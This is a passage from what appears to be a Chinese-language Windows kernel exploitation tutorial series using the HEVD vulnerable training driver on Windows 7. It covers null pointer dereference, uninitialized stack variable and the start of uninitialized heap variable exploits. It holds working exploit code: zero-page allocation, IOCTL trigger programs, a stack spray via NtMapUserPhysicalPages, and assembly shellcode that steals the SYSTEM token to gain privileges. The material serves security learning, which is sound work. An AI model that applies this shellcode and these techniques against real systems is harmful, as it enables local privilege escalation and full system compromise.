[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x840675b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]

我们的最后目的是把CloseProcedure字段覆盖为指向shellcode的指针,因为在最后会调用这些函数,把这里覆盖自然也就可以执行我们的shellcode,我们希望这里能够将Event这个结构放在我们能够操控的位置,在 Windows 7 中我们知道是可以在用户模式下控制0页内存的,所以我们希望这里能够指到0页内存,所以我们想把TypeIndex从0xc修改为0x0,在 Windows 7 下ObTypeIndexTable的前八个字节始终为0,所以可以在这里进行构造,需要注意的是,这里我们需要申请0页内存,我们传入的第二个参数不能是0,如果是0系统就会随机给我们分配一块内存,我们希望的是分配0页,如果传入1的话由于内存对齐就可以申请到0页内存,然后就可以放入我们shellcode的位置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PVOID	Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}

printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}

printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)& ShellCode;

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 构造池头结构
  • 申请0页内存并放入shellcode位置
  • 堆喷射构造间隙
  • 调用TriggerPoolOverflow函数
  • 关闭句柄
  • 调用cmd提权

最后提权效果如下,详细代码参考这里

test

0x07:NullPointer-Dereference

这是 Windows kernel exploit 系列的第五部分,前一篇我们讲了池溢出漏洞,这一篇我们讲空指针解引用,这篇和上篇比起来就很简单了,话不多说,进入正题,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

空指针解引用

我们还是先用IDA分析HEVD.sys,大概看一下函数的流程,函数首先验证了我们传入UserBuffer是否在用户模式下,然后申请了一块池,打印了池的一些属性之后判断UserValue是否等于一个数值,相等则打印一些NullPointerDereference的属性,不相等则将它释放并且置为NULL,但是下面没有做任何检验就直接引用了NullPointerDereference->Callback();这显然是不行,的当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __stdcall TriggerNullPointerDereference(void *UserBuffer)
{
PNULL_POINTER_DEREFERENCE NullPointerDereference; // esi
int result; // eax
unsigned int UserValue; // [esp+3Ch] [ebp+8h]

ProbeForRead(UserBuffer, 8u, 4u);
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(0, 8u, 0x6B636148u);
if ( NullPointerDereference )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "NonPagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 8);
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
if ( UserValue == 0xBAD0B0B0 )
{
NullPointerDereference->Value = 0xBAD0B0B0;
NullPointerDereference->Callback = (void (__stdcall *)())NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else
{
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
ExFreePoolWithTag(NullPointerDereference, 0x6B636148u);
NullPointerDereference = 0;
}
DbgPrint("[+] Triggering Null Pointer Dereference\n");
NullPointerDereference->Callback();
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}

我们从源码NullPointerDereference.c查看一下防护措施,安全的操作对NullPointerDereference是否为NULL进行了检验,其实我们可以联想到上一篇的内容,既然是要引用0页内存,那都不用我们自己写触发了,直接构造好0页内存调用这个问题函数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#ifdef SECURE
//
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
//

if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

//
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
//

NullPointerDereference->Callback();

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE                      IOCTL(0x80A)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80A << 2) | 0x00000003)
'0x22202b'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();
//__debugbreak();

system("pause");
return 0;
}

如我们所愿,这里因为 UserValue = 0xBAD0B0B0 所以打印了NullPointerDereference的一些信息

1
2
3
4
5
6
7
8
9
10
11
12
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x8
[+] Pool Chunk: 0x877B5E68
[+] UserValue: 0xBAD0B0B0
[+] NullPointerDereference: 0x877B5E68
[+] NullPointerDereference->Value: 0xBAD0B0B0
[+] NullPointerDereference->Callback: 0x8D6A3BCE
[+] Triggering Null Pointer Dereference
[+] Null Pointer Dereference Object Callback
****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******

零页的构造

我们还是用前面的方法申请到零页内存,只是我们这里需要修改shellcode指针放置的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;

printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}

printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x4) = (DWORD)& ShellCode;

shellcode还是注意需要堆栈的平衡,不然可能就会蓝屏,有趣的是,我在不同的地方测试的效果不一样,也就是说在运行exp之前虚拟机的状态不一样的话,可能效果会不一样(这一点我深有体会)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static VOID ShellCode()
{
_asm
{
//int 3
pop edi
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 申请0页内存并放入shellcode位置
  • 调用TriggerNullPointerDereference函数
  • 调用cmd提权

提权效果如下,详细的代码参考这里

test

0x08:Uninitialized-StackVariable

这是 Windows kernel exploit 系列的第六部分,前一篇我们讲了空指针解引用,这一篇我们讲内核未初始化栈利用,这篇虽然是内核栈的利用,与前面不同的是,这里需要引入一个新利用手法 => 栈喷射,需要你对内核栈和用户栈理解的比较深入,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

未初始化栈变量

我们还是先用IDA分析HEVD.sys,找到相应的函数TriggerUninitializedStackVariable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __stdcall TriggerUninitializedStackVariable(void *UserBuffer)
{
int UserValue; // esi
_UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; // [esp+10h] [ebp-10Ch]
CPPEH_RECORD ms_exc; // [esp+104h] [ebp-18h]

ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedStackVariable.Value = 0xBAD0B0B0;
UninitializedStackVariable.Callback = (void (__stdcall *)())UninitializedStackVariableObjectCallback;
}
DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
if ( UninitializedStackVariable.Callback )
UninitializedStackVariable.Callback();
return 0;
}

我们仔细分析一下,首先函数将一个值设为0,ms_exc原型如下,它其实就是一个异常处理机制(预示着下面肯定要出异常),然后我们还是将传入的UserBuffer和 0xBAD0B0B0 比较,如果相等的话就给UninitializedStackVariable函数的一些参数赋值,后面又判断了回调函数的存在性,最后调用回调函数,也就是说,我们传入的值不同的话可能就存在利用点,所以我们将聚焦点移到UninitializedStackVariable函数上

1
2
3
4
5
6
7
8
9
typedef struct CPPEH_RECORD      
{
DWORD old_esp; //ESP
DWORD exc_ptr; //GetExceptionInformation return value
DWORD prev_er; //prev _EXCEPTION_REGISTRATION_RECORD
DWORD handler; //Handler
DWORD msEH_ptr; //Scopetable
DWORD disabled; //TryLevel
}CPPEH_RECORD,*PCPPEH_RECORD;

我们来看一下源码里是如何介绍的,显而易见,一个初始化将UninitializedMemory置为了NULL,而另一个没有,要清楚的是我们现在看的是内核的漏洞,与用户模式并不相同,所以审计代码的时候要非常仔细

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//

UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//

UNINITIALIZED_MEMORY_STACK UninitializedMemory;

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003)
'0x22202f'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();

return 0;
}

这里我们打印的信息如下,可以看到对UninitializedStackVariable的一些对象进行了正确的赋值

1
2
3
4
5
6
7
8
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0x8E99B9C8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0x8D6A3EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们尝试传入不同的值

1
2
3
4
5
6
7
8
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;

DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

运行效果如下,因为有异常处理机制,所以这里并不会蓝屏

1
2
3
4
5
6
7
8
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x97E789C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******

我们在HEVD!TriggerUninitializedStackVariable+0x8c比较处下断点运行查看

1
2
3
4
5
6
7
8
9
10
11
1: kd> u 8D6A3F86
HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
8d6a3f8c 7429 je HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f8e ff95f8feffff call dword ptr [ebp-108h]
8d6a3f94 eb21 jmp HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)
8d6a3f96 8b45ec mov eax,dword ptr [ebp-14h]
8d6a3f99 8b00 mov eax,dword ptr [eax]
8d6a3f9b 8b00 mov eax,dword ptr [eax]
8d6a3f9d 8945e4 mov dword ptr [ebp-1Ch],eax
1: kd> ba e1 8D6A3F86

我们断下来之后用dps esp可以看到我们的 Value 和 Callback ,单步几次观察,可以发现确实已经被SEH异常处理所接手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x8FB049C8
[+] UninitializedStackVariable.Value: 0x00000002
[+] UninitializedStackVariable.Callback: 0x00000000
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
HEVD!TriggerUninitializedStackVariable+0x8c:
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
3: kd> dps esp
8fb049b8 02da71d7
8fb049bc 88b88460
8fb049c0 88b884d0
8fb049c4 8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string'
8fb049c8 00000002 => UninitializedStackVariable.Value
8fb049cc 00000000 => UninitializedStackVariable.Callback
8fb049d0 8684e1b8
8fb049d4 00000002
8fb049d8 8fb049e8
8fb049dc 84218ba9 hal!KfLowerIrql+0x61
8fb049e0 00000000
8fb049e4 00000000
8fb049e8 8fb04a20
8fb049ec 83e7f68b nt!KiSwapThread+0x254
8fb049f0 8684e1b8
8fb049f4 83f2ff08 nt!KiInitialPCR+0x3308
8fb049f8 83f2cd20 nt!KiInitialPCR+0x120
8fb049fc 00000001
8fb04a00 00000000
8fb04a04 8684e1b8
8fb04a08 8684e1b8
8fb04a0c 00000f8e
8fb04a10 c0802000
8fb04a14 8fb04a40
8fb04a18 83e66654 nt!MiUpdateWsle+0x231
8fb04a1c 7606a001
8fb04a20 00000322
8fb04a24 00000129
8fb04a28 00000129
8fb04a2c 86c08220
8fb04a30 00000000
8fb04a34 8670f1b8
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
8d6a3fb7 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
8d6a3fbe 8bc7 mov eax,edi
3: kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
8d6a3fc0 e894c0ffff call HEVD!__SEH_epilog4 (8d6a0059)

栈喷射(Stack Spray)

因为程序中会调用回调函数,所以我们希望的是把回调函数设置为我们shellcode的位置,其实如果这里不对回调函数进行验证是否为0,我们可以考虑直接在0页构造我们的shellcode,但是这里对回调函数进行了限制,就需要换一种思路

1
2
3
4
5
6
7
8
9
10
#endif

//
// Call the callback function
//

if (UninitializedMemory.Callback)
{
UninitializedMemory.Callback();
}

我们需要把回调函数的位置修改成不为0的地址,并且地址指向的是我们的shellcode,这里就需要用到一个新的方法,栈喷射,j00ru师傅的文章很详细的讲解了这个机制,我简单解释一下,我们始终是在用户模式干扰内核模式,首先你需要了解内核栈和用户栈的结构,然后了解下面这个函数是如何进行栈喷射的,函数原型如下

1
2
3
4
5
6
7
8
9
10
#define COPY_STACK_SIZE             1024

NTSTATUS
NtMapUserPhysicalPages (
__in PVOID VirtualAddress,
__in ULONG_PTR NumberOfPages,
__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
)
(...)
ULONG_PTR StackArray[COPY_STACK_SIZE];

因为COPY_STACK_SIZE的大小是1024,函数的栈最大也就 4096byte ,所以我们只需要传 1024 * 4 = 4096 的大小就可以占满一页内存了,当然我们传的都是我们的shellcode的位置

1
2
3
4
5
6
7
8
9
10
11
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);

printf("[+]Spray address is 0x%p\n", StackSpray);

for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}

NtMapUserPhysicalPages(NULL, 0x400, StackSpray);

我们来看看我们完整的exp的运行情况,我们还是在刚才的地方下断点,可以清楚的看到我们的shellcode已经被喷上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0: kd> ba e1 8D6A3F86
0: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******
[+] UserValue: 0xBAD0B0B1
[+] UninitializedStackVariable Address: 0x92E2F9C8
[+] UninitializedStackVariable.Value: 0x00931040
[+] UninitializedStackVariable.Callback: 0x00931040
[+] Triggering Uninitialized Stack Variable Vulnerability
Breakpoint 0 hit
8d6a3f86 39bdf8feffff cmp dword ptr [ebp-108h],edi
2: kd> dd 0x92E2F9C8
92e2f9c8 00931040 00931040 00931040 00931040
92e2f9d8 00931040 00931040 00931040 00931040
92e2f9e8 00931040 00931040 00931040 00931040
92e2f9f8 00931040 00931040 00931040 00931040
92e2fa08 00931040 00931040 c0802000 92e2fa40
92e2fa18 83e66654 7606a001 00000322 000000da
92e2fa28 000000da 866cc220 00000000 00931040
92e2fa38 00000005 c0802d08 92e2fa74 83e656cc
2: kd> u 00931040
00931040 53 push ebx
00931041 56 push esi
00931042 57 push edi
00931043 60 pushad
00931044 64a124010000 mov eax,dword ptr fs:[00000124h]
0093104a 8b4050 mov eax,dword ptr [eax+50h]
0093104d 8bc8 mov ecx,eax
0093104f ba04000000 mov edx,4

最后我们整合一下代码就可以提权了,总结一下步骤

  • 初始化句柄等结构
  • 将我们准备喷射的栈用Shellcode填满
  • 调用NtMapUserPhysicalPages进行喷射
  • 调用TriggerUninitializedStackVariable函数触发漏洞
  • 调用cmd提权

提权效果如下,详细的代码参考这里

test

0x09:Uninitialized-HeapVariable

这是 Windows kernel exploit 系列的最后一篇,如果你按顺序观看我之前文章并且自己调过的话,应该对各种漏洞类型在Windows 7 下的利用比较熟悉了,其他的话我放在最后说把,现在进入我所谓的最后一个专题,未初始化的堆变量利用,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

未初始化堆变量

我们还是先用IDA分析HEVD.sys,找到相应的函数TriggerUninitializedHeapVariable,这里首先还是初始化了异常处理机制,验证我们传入的UserBuffer是否在 user mode ,然后申请了一块分页池,将我们的UserBuffer给了UserValue,判断是否等于 0xBAD0B0B0 ,如果相等则给回调函数之类的赋值,如果不相等则直接调用回调函数,根据前一篇的经验,这里肯定是修改回调函数为我们shellcode的位置,最后调用提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer)
{
int result; // eax
int UserValue; // esi
_UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable; // [esp+18h] [ebp-1Ch]
CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]

ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
if ( UninitializedHeapVariable )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "PagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedHeapVariable->Value = 0xBAD0B0B0;
UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
UninitializedHeapVariable->Buffer[0x39] = 0;
}
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
if ( UninitializedHeapVariable )
{
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
UninitializedHeapVariable->Callback();
}
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
ms_exc.registration.TryLevel = 0xFFFFFFFE;
result = 0xC0000017;
}
return result;
}

我们查看一下源码文件是如何说明的,安全的方案先检查了是否存在空指针,然后将UninitializedMemory置为NULL,最后安全的调用了回调函数,而不安全的方案则在不确定 Value 和 Callback 的情况下直接调用了回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedMemory Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);

//
// Free the allocated Pool chunk
//

ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);

//
// Secure Note: This is secure because the developer is setting 'UninitializedMemory'
// to NULL and checks for NULL pointer before calling the callback
//

//
// Set to NULL to avoid dangling pointer
//

UninitializedMemory = NULL;
}
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
//

DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif

//
// Call the callback function
//

if (UninitializedMemory)
{
DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);

UninitializedMemory->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

漏洞的原理我们很清楚了,现在就是如何构造和利用的问题了,如果你没有看过我之前的文章,建议看完这里之后去看看池溢出那一篇,最好是读一下文章中所提到的Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7,对Windows 7 内核池有一个比较好的认识

0x02:漏洞利用

控制码

我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h中定位到相应的定义

1
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'

我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

Trigger_shellcode();
//__debugbreak();

system("pause");

